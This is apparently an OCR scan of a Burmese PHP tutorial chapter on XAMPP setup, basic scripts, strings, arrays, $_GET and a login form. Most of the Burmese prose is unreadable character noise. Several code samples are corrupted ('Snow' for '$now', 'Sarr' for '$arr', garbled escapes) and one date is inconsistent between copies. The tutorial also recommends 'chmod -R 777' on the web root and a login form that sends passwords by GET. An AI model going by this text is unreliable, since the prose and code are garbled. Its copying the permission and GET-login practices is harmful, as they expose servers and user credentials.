@&Ccoeo cp2?:qp:o? Ubuntu, LinuxMint səogo> OS gocon rc. local 0699 o0p999€:000:0? 
Command 60303 OS o 32000990 səcosəccopoo Run 60:330:40011 
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Windows gd]: User Interface š XAMPP Control Panel Raa: Ricon /opt/lampp 
. M i ° x ° e e e IN IN oc ° oc 
Directory o9» manager-linux.run so) oqoq80o289olo&olo»ou 6320090132096: 3905;(0/8¢6ol 

ç 
OD05II 


cd /opt/lampp 
sudo ./manager-linux.run 


@§00989:000q|0930e58 PHP Script coz086:s0p5:qe03 htdocs Directory o? Write Permission 
9905905 €0:000:0060lo»oóir Permission 200500360: 0002: 6 Super User go 338 Directory Ò 
PHP Script 6026q:(8:238: c9qeooli ao (8026: Super User 32e8à 3909007063995 səsoCec[ooloq: v 
0R|$ 02503 oréeavlop: PHP Script MEF: ordslord¢ File cooo 338 Directory cogs 
orpses00058 c9oo0309 Full Write Permission eo: loSi 290% 200390$60:$60looo3i 


sudo chmod -R 777 /opt/lampp/htdocs 


6.6 - First PHP Script 

XAMPP oop$o96:(8:c9 Apache Web Server Raps: oooG(9:(8s9«6 Server-side PHP Script cop 
6q:220:8 z00c(esolSn 09:00 [mcg 30705 C:\xampp\htdocs\ 38.03 Folder 63200390 hello 
32020 Folder odgo eano 0i htdocs Folder oo» XAMPP Apache à Document Root 
[ešoloooŠi Request 029906000096: Apache Web Server o» Document 60303 htdocs Folder òg 
ogo:qpesaoc Setting coócoo: ec: [eeoloooSi 


Linux eos9q6 Document Root o» /opt/lampp/htdocs [eŠəeooli eoeoSoosəgqp:goo Windows 
2, coc Q coc, : Q 9. coc ns IS ç 
seo»:(ojop(G9$6c9 |g0058E: sagoe0290 Windows o? 3:0295e03(Ge0:030:60>792{Gd0loru5 hello 


Folder 009 world.php 32020 File 00091 css, img, js 32693020908 Folder (o) 9 90090005 
oog3esooo$c9o30lii (6:q66009! Web Browser e, URL http://localhost/hello/ «$ copóazé: 9:220 


(pol à C-e) eo eLo: eo» [86qolc96e chi 
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<”, Index of /hello - Mozilla Firefox 


| E] Index of /hello L+| 
localhost/hello/ C Bi-cooqo Q-*-.-&Z- 
Index of /hello 
Name Last modified Size Description 








- Parent Directory 


O css/ 07-Apr-2013 16:44 

a img/ 07-Apr-2013 16:44 

G3 js 07-Apr-2013 16:44 
world.php 07-Apr-2013 16:44 0 





Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.81 
PHP/5.3.1 mod apreq2-20090110/2.7.1 mod _perl/2.0.4 Perl/v5.10.1 
Server at localhost Port 80 








6 (G-e) Apache Directory Browsing 


Browser gone Vegon Web Document 0069007050l993 I Index of /hello s90269l6:093 


hello Folder cdgo $eso? File à Folder eoq e: [eóoloooŠi alo? Directory Browsing esT oloasu 


c c ` e o e c e ç Q9 e IN s 
06:25206$0202éQqQJI|022929 Sc9668006qJ030260:000:0000li səCooosoocol oo Website 60292609 


ojeg: $08 ases gR eco:qolop: u 


sonas: world. php o5go PHP Script ec260l6:090lo6 0? HTML 0294] 0099296:60:0li 


<!doctype html» 
<html> 
<head> 
<title>Hello, World!</title> 
</head> 
<body> 
<hl>Hello, World!</h1> 
<p>Today is: <?php echo date("d / m / Y") ?></p> 
<p> 
<?php 
Snow = time () ; 
Snewyear = strtotime ('2017-04-13'); 





$sec left = $newyear - Snow; 
echo floor ($sec_ left / (60 * 60 * 24)); 
?> 
days before Happy New Year. 
</p> 
</body> 
</html> 
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PHP Code cooo <?php 30968 ?» 3200332096:90 0099036:693990:60:4 0100051 $099 PHP 
Code 60303 &968«p6«|220:0092996:000:0lo» 09 000600968 ogo coo$$9380? day / month / year 
"^" 0. “° e ç ° e EC co e.c ç Oo +9 ° 
Format à Qoooo5cooloooŠiI FNNO RION oo[0$53eqoo58 MARLON C:N 
ce, |. TIA ç c 2 ee 0. Sra, AU PR IS cy 
oga: eo3(960:36:000:0looo5 92605992 ¿0700092900 gons: 2017 3290:95660050? 9898 
3200:09:(8:06:256860loooó€ seg Browser URL Bar go http://localhost/hello/world.php 08 
<ç e e e e . e ` ç o ° e e 
0099036:06:006[o305 oli 9 G-q)) 9o coeo[ocoo:o gqcoSqll:qañescooo[eóoloooši 
<”, Hello, World! - Mozilla Firefox 


| E] Hello, world! L+| 


< locathost/hello/world.pt e ~ i+) ele e - @ DR 


Hello, World! 


Today is: 07 / 04 / 2013 
5 days before Thingyan. 





9 G-a)) world.php Result 


C Ç o 


30963 Browser esepcgo9eo Right-Click $6(8: View Page Source Rgs ó (6-02) pelo 
000: 2GA qQe»(8$0lo»o5 
« ", Source of: http://localhost/hello/world.php 


<!doctype html> 
<html> 
<head> 
<title>Hello, World!</title> 
</head> 
<body> 
<hl>Hello, World!</h1> 
<p>Today is: 07 / 04 / 2013</p> 
<p> 


5 days before Thingyan. 
</p> 
</body> 
me 


Line 14, Col 8 





à (6-02) world.php - View Page Source 
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Browser oo 3295029000300056 q$0? HTML Source cooo PHP Code cop olo6coos6:eQ$0220? 
ooo9(ogjolu co9$296:6«:200:000:0? PHP Code eogux> Web Server omg 320:09:290900903[8: 
qué HTML 02000 Browser oó Web Server o» co:Ocooo[e c: [sóoloooŠi es:ao:000:0) PHP Code 
coa ccocoo[o2o2aj vlos 


W echo date("d / m / Y"); 


echo Keyword o? Output ocošəəqo5cooSeocoe)esəos:[o|&ColoooSi echo səeo: print 09 od:@6 
cops: 39020901611 echo a print ooo? Performance sag95:c058e026:08 aeoo $94060290 
o ° ° M e : o Css oc 02.0 
cor echo Q 200) :(0//8: 0070605 [960:330: 920i date () Function meo% 9039$§s0q]§602064 
so $col osi Qd / m/Y 20) Format 020009996:60:000: C9 date () Function o» 
Ana 07 / 04 / 2013 RX Format 66&opo5eo:[s6:(890lo»o5i date () Function 20003803 
Format Parameter a2qp:ao(go:$]030500 9052»2:000:2560? Parameter 329), epeo: Golon 


d- es3020c0$:3es3(9(8: Vas egnari: 95(960: olor (01 9 31 cÓ)! 

m- comoang:§e05{0[6: 0$.3a5609,0099008(8:605{Ge0:0los05 (01 9 12 c9) 

Y- 2500 amg: ea: a: feve: olos (2060 - 2013)n 

D -eg 0905:05:03:8605(Ge0:dloo05_ (Sung Sato3)u 

M- coo? 90c9:99:09:4 663(060:0lo205 (Jan $ Dec cÓ)! 

y - 98603 nm$:300):4 coo[oco:oloooS (ooeo - 13) 

H - sošo? ¿03009600:399004 OsadqEeq,0009008[8: eeo[oco:oloooS (00 e 23 08) 
i- 85603 HO a io (00 ç 59 08 Jit 

S - 69940? Adal |g,0209908[8:605[Ge0:0lo205 (00 e 59 SB) 


og? 


OC x 


so $602 Parameter 3o [009326096009 php.net/manual/en/function.date.php qo ec9coo8ó oloooói 
oq|Šešo> Code 60303 s»o9coo?ecocoo[o3950leoóu 


Snow = time(); 
Snewyear = strtotime ('2013-04-13'); 





$sec left = $newyear - Snow; 
BM echo floor($sec_left / (60 * 60 * 24)); 


$RP Snow ooo Variable 0269[8d0los051 time () Function meo% NA 3od]s o? Timestamp 
à qoa[sé:(gdoloo05 Timestamp a$00 01 / 01 / 1970 meş coo59a28]šco 6902092 $326«| 320205 
99 eolé:(s$0lo»o5u $now Variable cog coms} Timestamp espo?ges(9(890lo»o5u 029e(0226:0009 
O x ° : S ° e [e] Ç ° : IN e 

6033091 PHP Code co Semi-colon ( ; ) $ 3280:0005G0:Q09 6$20999:90 Semi-colon opt: 
Go:coo:ooo[eó olo»oói 
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ga Ü" ú PHP àco:[go:aJo5səesà 6026903220:$92006c09! Variable co203 PHP eo Dollar Sign à oco:8 


Só (se: [ešcloooSi o»9[go: Language cos Variable cos mar: 35600:602! 098:000$:60209 
? š H anguag O36 Y aria 2$ D š ¿602 $* $° 20? 
c ç ° ç e ° oc S € o : ç O 
022020209 000999€:3299: Lgi doS 3leoeoS Space š +- @ ff % 32090? Special Character cog olocco eq 
o “< e : La 30 ç S, s Mmes ç ies ç x c E o (fo c 
olo: apse0gc Underscore o?ooo? o996:220) (o ¿colonos Dynamic Type (8903220205 Variable e020) [o3|ooc 


-p 


e(ox(£58ec93»62»c9i Data Type cop: 9905905 60:8 ec93o90lon:10092990:60:000:02 48:00 eoopX(8: PHP 
o> Data Type 03 aac9 scope: Deog: pavos 
ata. TYPE? t RP B :992:9 


strtotime () Function meow CO:N Timestamp c[ooC:eo:oloooŠi $PP 2013-04- 
° : ç (e s IN ç O IN IN € IN c e 
13 o? Timestamp ¢[606:(8: $newyear c50900p$9596:8 220590500o:0loooàw 6400900980692 
Snewyear Ò Snow MANYA qo395899409»[s9»:q[ 09»$9960lé:0?«$0lo»ou 
ç coo CÇ ç ç š IN erc IN e ce o9 C( oe. M 
og|$eoo3o9c9q[60000» ogge ol: qo33eeqas»ogo3(s$0loooS« ale ojos qo3(243.0 
` ` o Ç ç IN oc IN o oc enc e 
30694 60 * 60 * 24 à co: co:c9o$0loooàw eo:co$00 3000003§:(66908 o95:(0p9(89922:63026 
: on AS WX &£c co O x IN ec o ofep^c IN X c 
floor () Function 0$:080303 sal o»(054 e«po58 c903q09326q3002090?«8[9(890lo» o5 ura 
32643202030? echo &$03090960c90? 02320209 ($9090) qco3(s90? 5 0? 3336s«09029 Joco: 
930:(86:(gd0lo05 


PHP ooo 9:96:03 Imperative Language co@ə[ëéoloooSu Language səc[eëcoo[eóo> Control 

` : Oy e IN > e ` IN 

Structure eog Operator co20oo C, JavaScript 038s06020]000511 Request &22050lo6cooo? 329q/0 

IN ° Q Qo O OC c erc IN IN c ç o ° 

32c0026090? COMSOOE&C@ 00092000 oo: [so:a|oS[eëoloooši App 609009568s0202000089000 səc[eŠ 
30: [96 PHP à 32020lo6 ooo? Function qp:o? c9320200960l6:003225:q|€[86:2»2 [ešoloooŠi 


PHP eo Build-in Function colé: 9000 enpolocolor ón Version 220905 396920205 09299o:&6co 
e A . x c Ce IN `° < : 

eo səc[əŠ Function eo9$35c90090000600? a2e(006:32c5999e09030lop: I php.net/quickref.php oo 

PHP Function 30:09:09 Q9909:60:000:0loo 031 Q903200:02602 Function 60303 $@soq[2:$32o2 

300500053 @95{Ge02090:0lec5i 


6.7 - PHP Strings 

PHP gps: JavaScript oldı String cooo Double Quote 309632009 (9960903) Single Quote 
3096320038 0009296:6$:220:60:q0lo»o3i q0609:0503099 6050960609 poc: coa Quote 
ecgoloécoo(8s9 46 go:o»o9(o20lo»oóu Double Quote §0093036: coo:0? String ode Single Quote 
eo20lo6ooo [gamgoegoloz:1 sacos:095 Single Quote §0095 296:000:0? String ec99o Double 
Quote eog0loéox cops: (992osoegolop: v slevou Single Quoted String 009 Single Quote eogol 
0600096602) 9908000: qoleo»?eoó« Double Quoted String ocàgo Double Quote eogoloó$cooqé 
cops: o5o2coo:goleoŠi Single Quote eoz Double Quote eogi wo5qoxg 52905: eolé:qQ:29o:q6 ó 
G-g) venado 0260203 maso, səcoócoOoysəsl]əocoə5: 338 Quote eop(2269 32096:9o 


3292; q2: [o0 
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# valid 
$str = 'Alice is "22" years old.'; 
$str = "Bob is '24' years old."; 


# invalid 
$str = 'Alice is '22' years old.'; 
$str = "Bob is "24" years old."; 


[ ??? — syntax error ] 


9 G-g) Usage of Double Quotes and Single Quotes 


Single Quote š Double Quote 0290 68005000099 [82:3030209 q9le22:02o5u Double Quoted String 
` : ç e oc C : ` co o ° c c 
6020699 Variable cogoop3o3c:e0:cp03q¢ PHP œ Variable 6023,02$0:09329»:[9|3205909960:0l 

e ç . . : ` çO 09 ° ç ° 
ooo! sleo eo Single Quoted String 6029060) Variable cóoo 0$8:09320):(9,s0:[ac:0goloz:1 3] 
e(o206 00090 Single Quoted String cooo Double Quoted String 60200090 (84 020309 s [ooo] 
cooSI Double Quoted String eo% Variable cGogolcoooscoo: 09680:6$4|$ qo Single Quoted String 
OD 0009096s0:0040 60:000:020032096: 3209005060:02320209 32090090000 moco (8$ 22:0? 
2060200 9 G-s) 9o coma ol 


$name = 'John Doe'; 
echo "Hello $name, how are you doing?"; 


$name = 'John Doe'; 
echo 'Hello $name, how are you doing?'; 


Double quotes convert the variables into value 
Single quotes ignore the variables 


9 G-s) Variable in Strings 


9 G-s) $@§092 Double Quoted String e, Output o» "Hello John Doe, how are you doing?" [sŠ GO 
eo5 Single Quoted String $ Output meo "Hello $name, how are you doing?" co (89650220? 
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coəqeo[eóoloooŠii Single Quote o> $name o? Variable 02093265 $320906c900 9:§:0003:09005: 
səešào5o qÂ: (ac: [sëoloooSi 


String cog0d90 $, ", ' @o> Operator e020200992296:32c90ec90eoc9q6 Backslash (Y à Escape 

opde0:8éolos05 390530603 Escape Character cozmeon Single Quote 6020009296: das səoà: [o| 

so (\' ), Double Quote 6020003296:c9 963299: [9|qo? ( N"), Dollar Sign Character Oop9996:09 
ç ° ` ` e e c€ o. “< ° ` On e e 

qc 3002: [0 403 (AS ) š Backslash 00030092090: apg aeos: [O| qo (AN) 036 (gSolo051 206d - 


Sname = "John Doe"; 
echo "Hello \Sname, how are you doing?"; 


qao "Hello $name, how are you doing?" [ešəo[eecloooSi Double Quoted String o»99 [6960609 
Dollar Sign o? Backslash à Escape aso: PHP œ 338 Dollar Sign o? Variable 02090320 
Operator 396$859006 2075e60220lo9: I slefoxg cšoo5oooq|$ o name UNA: Variable 605036002 


+ 2.0 ° C s XS 5] ç 
O Q: Q: 2209: ooóco:o[eóooo:o ODOO ll 
echo "Bob is NU2ANU years old. t; 


- 086900340095: Bob is "24" years old. Nui Double Quoted String o5eo 
Double Quote 6020003296:000:6060) Escape a02: 0320209 PHP oo 338 Quote cooo Operator 
` JS Sassl : ES | M oO cy olaa] ç 
39699 0O0p2996:60p:00:02328! String à905:9cóqJo96952:60020 as qoi q$[56:(890 Od05II 
slefaxg Double Quote (or) Single Quote § 9005605: R nS evos Badc33960330036: 9$0»4 
c o o0 c 


e ° ° 0 o c C x o IN 
G322C CQ: CO GVA Escape Q9O20CO2 Operator CONAR: Escape c9960:8 09326 9o0]i 


6.8 - PHP Arrays 

PHP qo Array cop e(oX(£02205905c9q6 array() Function 08.05:q 0100051 Array &óq|:Qolo»oou 
Numeric Array cécalo) Index o9 §01050589905g0503 Array à Associative Array c9eslo? Index 
o? 3260360:2209909000:02 Array 030(gdolo05 Associative Array ooo JavaScript e, JSON š 
006000 026722090 loD051I 


PHP 000: JavaScript ò Dynamic Type Language oo$9(89c9 Array cogosp5es000503 səələo 
ç C O « o c co ° ° M . ° ç ç c o ° 
Cop) e:o Data Type N VAHAGA! Array q Size 062020? 00p9: 000390360:8ec90] 

c ç ç ç cre e e e co o_o o e ç o ç 
Opell Array o»8e[8$e(o256: mann: eng &09509€00280:0? PROP roo qoloo ot 
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Sarr = array(); 


Sarr [0]/ = "Foo"; 
Sare i e= else V 5 
Sare[ 2] = “Baz; 
Q ç 
(9960905) 
Sarr = array("Foo", "Bar", "Baz"); 


array () Function à Array Variable 029909 @(03[G20005903[8:eg005 Index orda{aé: 320) ry: 


602 C909 copo: amo ooocc[oo[6ooooooÉ:oo array () Function òg s s do m$8:6 


ç ° o ASAS Ln c ;| IN ° ceo o IN Q 
o$: GO; NANO: 996922[860 ODOOII OP 63896 SPOR: cA gO 6000005 1 


Š -Go 


» 


peers qo are 60303 coo:e3lé: foc! 3296 ¿320037 00039038000 0388: eoolu PHP 5.4 à 
G500906: gwp: ea: eal opé: 260208 Array 2505 03903 58 aoo»: [p|$6coooloo 


Sere = IB 
Sarr[0] = "Foo"; 
Sora [pir] = Bar; 
Sar [2] = "Baz", 
Q ç 
(9960905) 
$arr = [ "uno cM EM EM ]; 


$§ 05:00 PHP 5.3, PHP 5.2 oo? Version 30$ 060290 3209009090 @070599:8802003 ooo9[(ojolu Array 
à Index 02§8:03 622099050 ps: 02§8:602 0092296:09 aulas 


Severe = Ing 

Sarr ||) = Whoo: 
Car |) ees up rm. 
Sarri] = "Baz"; 


895092 02§G:6020093096:03a08 190 Index šolo oop?eco:olop: i PHP o» Index 02§8:03 320932 
copa 99059050099036: 602939: fudo losn Sso5:oscooo JavaScript go o5:cgeqolog:u PHP go 
ò «8: opes p&op soo3:oCoyaoŠ: [eŠoloooši 
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ga uu PHP o» Case Sensitive (6603 Language 0069[8dclos051i 90c9:39 [68:32 625:1 NEPRE 320€ 


IL J 
ob:co:@cooloooI 3leoeoS Function 609026002 (96:qjo90li Function Name cooo 3a[08:aa¢00: 2000 


J 
eal up so: foou ale[oé array () Ro: qef Array () a:q cops: səcoOcooeoo[eŠ oloo 


e 
G: 
ç 

0220 


Bo 


Š 


N 


Array ip Index 000990 p$: 000202000 q: q: 0048: euoo5OesooocoÓ Array 00690095: [sŠ 


E» 


¿coleoo: ooo5u Static Dpr Language as ae Multi-Dimensional ni) at le sleoe0s 


N o 


Multi-dimensional Array aor000 Array 00090, Index 300: 09:90 29692200500 3329/$0) 29005008 
Array 60203036:8095:03a061 cə[ooo[eóco PHP eocoo9 Multi-dimensional Array dec: 

ç IN c ceo c x 0 IN o oq IN IN 
oosooloooŠ!I Array 02694, Index 029990 oo$@:ooóəooə so(go: Array 00090? 6: 2025:000:[96: gl 
oxo[eóoloooŠi 9 (6-3) gene 


$var2 


123 


sarray[0] == 
sarray[2][1] == 





sarray[3][2] == 





[0] [1] 12110] [3]1[0] [4] v 


Fish Cat Dog É 


[2][1] ge SE [3] [1] 


[2] [2] BP TOT € 





[2] [3 ] RAZE $var3 


[2] [4] RENE true 


9 (G-g) PHP Numeric Array 


co x O Ç Oc ç ` ` ` ° IN c co o 
0246:609320230903998: 2095: 000: 02 Q $ Index [2] š Index [3] 0992 eren 6020) 
SN x O € c ç oc 
Array S2G$$O 3209 C0902$0020C002900: sop: 2000: 2010005 3leoeoS Index [0], [1] à [4] 02906002 
Array 070503 q: q:0248: 0069803000086:8095:000:0 oos 


65003 Array 020 Ql: ($03 Associative Array 20099033223: ([9|902cop3: Numeric Array 30201000511 
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Sarr = array(); 
Sarr["foo"] = "Apple"; 


Sarr["bar"] "Orange"; 
Sarr["baz"] "Mango" 7 
Q ç 
(2960905) 
Sarr = array("foo"=>"Apple", "bar"=>"Orange", "baz"-»"Mango"); 
Q ç 
(2960202) 
Sarr = [ "foo"=>"Apple", "bar"=>"Orange", "baz"=>"Mango" ] H 


array () Function (93960905) 600: 60006 op6:09 0): (9|20039036o: qolooo5u JSON 29059030500 
`> o o ` OR IN IN o ceo oco IN PT. 
Key à Value ooo Colon (:) š 3[82:220590560: 02003 9o580lcóep:ecóun PHP Associative 
Array 60290609) Key š Value o? 9p:2260500 (=> ) ecxtà a[99:m03g0360: qolu Associative 
` : ° Oo es IN c ° ° Ç o IN 
Array š Numeric Array e020) 03209 colc:00320):[0/0% qoos 9 (G-o) g2609009 (3050 


$var2 
$array [foo] 


123 $array[fiz][ 


$array[baz][ 





Sarray 


$var4 [foo] [bar] [fiz][0] [baz] [a] [qux] Py: 





Mba! Fish Cat Dog Cow  —— 
$varl [fiz] [1] pe e [SM eR ae [baz] [b] 
3.14 [fiz] [2] Polo): 
[fiz] [3] PEE $var3 
[fiz] [4] true 





Q (G-») PHP Associative Array 
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. e ` Qo * cy e IN c 
Q (Go) qo $990605(903329| Sarray[foo] 88.0369 :02§§603(Gc00: 6000) cooGooeo Array Index 
Key o? Single Quote 300705 Double Quote § 98098:3202: fojlo 200 - 


echo Sarray['baz']['a']; 


Array Index Key o? Quote ep: 32c9660020990lo» o9 Sleoeos PHP oo eco:ealeo96:09 
o c 


208 Array Index Key (8$o(0206:09 9$6s0:25$«o»»(890lo»o5« codalor95: Quote o500p960:c909«; 


Oo 


PHP oo ode: Op econ Performance aoo: [s< 8e0206:90{8d0los051 


6.9 - Request Handling with PHP 

Document demo 323[0932co0360209 $02 0909 Server meş eons: dodal 3905;(G}99090500 
cops: 004], 32q[0932co03602 [$ eo:8c9ooooloooši poe. - Google Search sold speggsqeo3qo» 
don Pego) 323[0932co03026002 326 60:8c90lo»oóu PHP š 2069:300la): coÓcesoocajo5ooóə 
026002 Request 35909 3222:(0[0903003000$ 256:60:090902 soəa|jo5səcooeoooo widik s: [es 
olo»o5u 


soos: (oopoo 305:000:509/:4 323[0332c00360260:0$60looo3i 0000$05:006:09602) URL Query 
L o ° s 

String o? seos:(oj[e&:(s$0lo»o5u 20% - "heaviest bells" 20) Keywords 390305 Search Result qo» 
das URL Query String š Google o? 39900 Request asooo 


http://www.google.com/search?g=heaviest+bells 


Search Result Page (S905 search o? 0205805 Request coo(sé:(s9(8: G5009006$ q=heaviest+bells 
3803 Query String o? 0360360:c9030»00]i Google à, Server-side Script oo "heaviest bells" 20) 
c Cc O o € € 8 Oe c CN ° e c IN 

Keywords 320205 q3 gjg: DAO: 25660220? Result o» (o$eo:eo(s9olo»ou 
Query String sa[go 60:0c902004 0:600? URL òg Resource Location 6400500 Question Mark 
: a [9 FUCHS ç ç u. Qos ç co. Q =. ..s ç S 
(?) Sign cco:ë 9: sa030$050093036:60:88 60loo0 11 28036020) Key=Value 003 ops: eo: gol 
od $@§260:000:03 q=heaviest+bells yo q o» Key (s9(5: heaviest+bells meon Value Solov 
Con Co 6 ` x e c oc ç 
Key=Value 029$30596(020:9» Ampersand ( & ) wenog 8(82:00p9256: &ColoooSi poeo - 


http://www.google.com/search?q=heaviest+bells&hl=my 


g=heaviest+bells à hl=my 38.03 02§$:46908 & 00605008020030095996:60:0909(86:(890lo» ou 30 
əcoo5eoo copsagE:chqEcops:ego0sMe§ & 99600285 DNA R005. c099026:60: 860005 
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«", heaviest bells - Google o?5 90 - Mozilla Firefox 


| heaviest bells -Google ogc... | | 


4 A https://www.google.com/search?q=heaviest+bells&hl=my CO + 2-2 @ ` 








Google heaviest bells 





003 Qspes eqy:ous 95 


af: oeat: M geegeq: Bip: 


List of heaviest bells - Wikipedia, the free encyclopedia 
en.wikipedia.org/wiki/List_of_heaviest_bells - Cached 

Following is a list of the heaviest bells known to have been cast, and the period of 
time during which they held that title. Contents. | Heaviest functioning bell in ... 
Heaviest functioning bell in ... - The Tsar Bell - Existing bells - Destroyed or lost bells 








Bells - Visit Us - Southwark Cathedral 
cathedral.southwark.anglican.org/visit/bells - Cached 

The heaviest bell, or "Tenor", at Southwark is in the top ten of the heaviest change- 
ringing bells in existence. It weighs in at 48cwt - that's nearly two and a half ... 








9 (G-co) Query String 


9 (G-cn) 9o eo3(pooo:0? Browser Screenshot e, URL Bar o? ecocoo(c299 oli j$ 600502 $98060: 
> oc c ` ° c IN : IN e Oo e 

000:02320?6: Request c90000:0?. URL o eco.Se»(s$olo»o5u heaviest bells 320905 qc030) coo 
` Q ` IN ° ç > c IN c € 

60:03 329] hl=my o8.e[Go000:03390305 Interface op (8§ 0020000 eA veo: ess: 


PHP œ URL Query String §59090|0000302§8:60203 Associative Array 020932053 $ GET 

A ` Q IN So e IN IN : 
Superglobal Variable cóço 32c9326c9[03000560099936:60:000:60:0lo» 031 Superglobal Variable 
o c e ° o CN oc ° OC x : 
sooo» PHP Language ooc[oo[Soososoocscoo: Š: c9320026$6p026:026$ 093229: [9|&60? Variable 
coo[ešcloooŠi co038 00:90 6 (6-02) pega soln 


?n=Bob&g=m&e=bobl example.com 


$ GET = array ('n' => 'Bob', 
'g' => 'm', 


'e' => 'bob@example.com') ; 


a) (6-07) Query String and $_GET Superglobal 


Professional Web Developer - 3098: (8) PHP Basic 989 





og|Šeos5oo qu a ompjsoco eop:oopo[g$e» URL Query String səesš 320):[o 9? 60:8c0003 
səa|o5 320009609006002 $ GET Variable o5oo so [ë8esoo[eóoloooSi 0R|$ 075036, PHP Script eog 





> ° co T ere Q Q IN IN e coc o IN )| IN 
cog? 309:60260 goal: CPD AYSONICONIESOIC ANRC GOQOO o[eóo ODOOII 


ya "Mon $ GET s [oc salen: Superglobal Variable 603 A olea: 09051 30050003603(GG0:030:01005 1 





Superglobal 603809: {80:q)0500 sə[Ëoo8: Underscore ( $_ ) šəəo[o|[Š: 03§0205:20208 ©905:(43: 3003903000: 
ea Aes: feol von (poeo -$ GET, $ POST, $ COOKIE, $ SESSION) 








Query String cogo» 92639 98999905: oeoo 202028320): (099602320305 BENI: 
Ses 6292 3209106 000000006002 HTML Form [ešoloooSii səa|o5səcoo5coo (sa5o36:8603 HTML 
Form 0009 co:00o:e0$ éso) aoo»: (o|o96020260:Qc90? 323|0932c0036020? 320903009 090009 

Ernie Esse] cee Q x c c Q S, ç < 
29C:co:4Cgool1n HTML Form eo (g2$026:(8:60:8c0003 Sə8|o2səcoooGoooocoo5: PHP 00 coo5soç 

S. 280] ç < < QO C x c co IN IN 1 < CA 
me: QRO 323/0232c00260260:0$602. HTML Form o»99 (89832020? e[ešecso occo) 


səa|o°ooó8j,Qolooo5 II 894032690009 eoS(peo: c9o$0looo3i 


«form action-"login.php" method="get"> 


<input type="text" name="email"> 
<input type="password" name="password"> 


<input type="submit" value="Login"> 


</form> 


HTML «form» Element oo action à method Attribute o? e[sšecsolocosçoloooši action 
Attribute à, Value 39693 c0:0cooo?32qJ033eco096050? 0005886005 PHP Script Ap URL o%co:g) 
oloooó» $@gg2G0%) login.php c9e0:000:022020? $ Form 0060:Q0) svajoSsacoa3e0208 
login.php Script oo coo$886eooli 3200096] Form cloéo3 Document à coo$á9óeo05 Script o? 
Folder Root eopqó cooo URL ANA: so (00932660: «go(s$ olo» o5 $@§090602) Folder 02990009: 
PAS Ronen Script Name ò o:00o:0looo3i 

method Attribute eocooo 200: [o jor HTTP Request Method 020009996:60:€90lu 3994: (9) so 
HTTP Request Method co232c(0226: Əo5sooSeeo[oàoloooSi (pjc9902 Request à qp9go3qo$ecl e 
oop3(8: 22660030? Method o? a»o5:(9[eo: qeo(s90lo»o5« Method ordgajéz803 W3C oo agaa8gloss 
ap 200390360:000:0lo»03I 


GET Method o? 23 masoq éso aeos:(ojolo»oóu GET Method 300): [0000:03 
Request e(o226 Server Qo e[s: saong evde eona: 9905903000:0100051I POST 
Method o? Server qo səa|o5 32000532000 G020509:62 0902326] 3905:(6|0lo>051 2092 - Document 

c < ç 9 on: iN < c o x2 < < ç OQ 2 c < 
320000009 o§03:6000[86:1 329[0532000200090? Database Ò cop9296:69[86:020292 QPOSSOIC 
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° ° 


< < 2 ç ° o > IN IN c 
QJR]: 60232020? 9053(0} 0100051 PUT Method opeor Server oo $650? 303|0932c00502990? 
(Gés0éeo0$03z001 3995:{G)q0lo205 DELETE Method 0260»? Server eol'eo$03 mama mos 
oo3qjo$c903 600902329] 3299: fo golos 


GET, POST, PUT, DELETE Method eco:Qj:o?es3(0860e0$ co05e09,9» GET ¿ POST ¿0q|:000 
HTML Form 6024 03000 olor slefoxg GET o? səa|o5əəcoosqos@o: 6:1 29 

c c o c con ° co o ° co e ° ° ç ` 
390003602 680?:1 (9820684 oo5qJo5Qo? 320205 POST Òq] 0229:0920 3905;(0|(a30lo>051 PUT $ 
DELETE 026002 Web Service API cop 029963000302329lg02»5 ob: [o3oloooŠii 


AR|$S07303.6090000003003(G§ cooooooleo5I: «form» Element à, action Attribute go Form oo 60:8 
` ç ç o Co ç e Os . É c cro 
cooo ago saeg seasg eono Script URL copsogé:e0:q9> vs: method 
Attribute gocon get Remo post o? cop?o96:eo:qeo(s$olo»o5i HTML Attribute Value (950% 
0005:39(08:39600;(Gogo0Golop: $6220525c96q:200:&60looo9 € $94090600? get o?0005996:60: 
€ e cre o : co o IN ° e 
coo:o]ooo5i s0050005(8: a»o9(9|qg00260»? Form Input eog name Attribute cloé8 cosəo[əc:[eéol 
€ Ç ° o p ç : cos ° c Co O e 
00031 ego05ed:c$aa5qj03 Meo Submit Button oli Form 00694, efesas asd 6 (@-co) 9o 
cocos: olo»oSu 


<form action="login.php" method="get"> 


<input type="text" name="email"> 
<input type="password" name="password"> 


<input type="submit" value="Login"> 


</form> 


. Submit Button o286c9050232sl 


.name Attribute $0) Input coge [509296:000:02004$0:6020? 


.Form Action qo 2203903000:0? Document cóo9 


- Form Method qo 2203903000:0? Request Method este Four fê: 


E co:Qago: eo[s$0lo»o5 II 





Q (G-co) HTML Form 320900900 
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6.10 - GET Requests 

§9§0026960020906:0058390205 htdocs Folder coo auth səeo5à Folder ordqor95es00050 (8: 
e. ` x co Cex : ç c e e e " M 

qc index.php $ login.php 32695090008 File §9900500050295es00050 index.php o0go 

HTML Structure sa{G95se@009$026:(8: <body> 30096:9o 3 Form o9 og:cooàeo:olli 


«form action-"login.php" method="get"> 
«label for-"email"»Email (or) User ID</label><br> 
<input type="text" name-"email" id="email"><br> 





<label for="password">Password</label><br> 
<input type="password" name="password" id="password"><br><br> 


<input type="submit" value="Login"> 


</form> 
Email š Password Lasag: op Input ¿0942002 Submit Button 020909 Form 32096:90 co 9596: 


ç o0 


€0:000:0looo3i 9es Browser qo http://localhost/auth/ ¿foma o (8-3) qoeo3(0000:020 
32096: coo (86q9o (890lo»o5u 


e. 


<", Login Form - Mozilla Firefox 
|E Login Form [+ | 
< localhost/auth/ elg-*»-.-&8g- 


Email (or) User ID 


Password 


Login 





9 (6-3) Login Form in Browser 


yaa I Il 09:(80:91050269030903(9/ oli Browser URL Bar go auth Folder Name 02200 00p9296:60:000:(8: 
Login Form $eso? Document o? 00099296:60:ecoo:olop: 3leoeo$ index.php o?eoS(pesolooo5i XAMPP oo 
index.php (93) index.html o? Folder Home Page afes: (918 $295000:0) aoz [edol Web 
Server oo index.php (08) index.html səep5à Document 02999 Folder miep: pons Jes 

S 5p (8: e Direct Br ing o (9eo:e(s8ol Sn (8:39 tad Ë o x ç 
qÊ ecooeo:Ó: edeo Directory Browsing o? 'oeo:go[so0loooói [0:9028 94090. index.php eq0232090? 


Directory Browsing o2e55(03(8:8 sego90 index.php Iep 03300205 index.php o2 eo(2es (86:(s90lo»o5u 
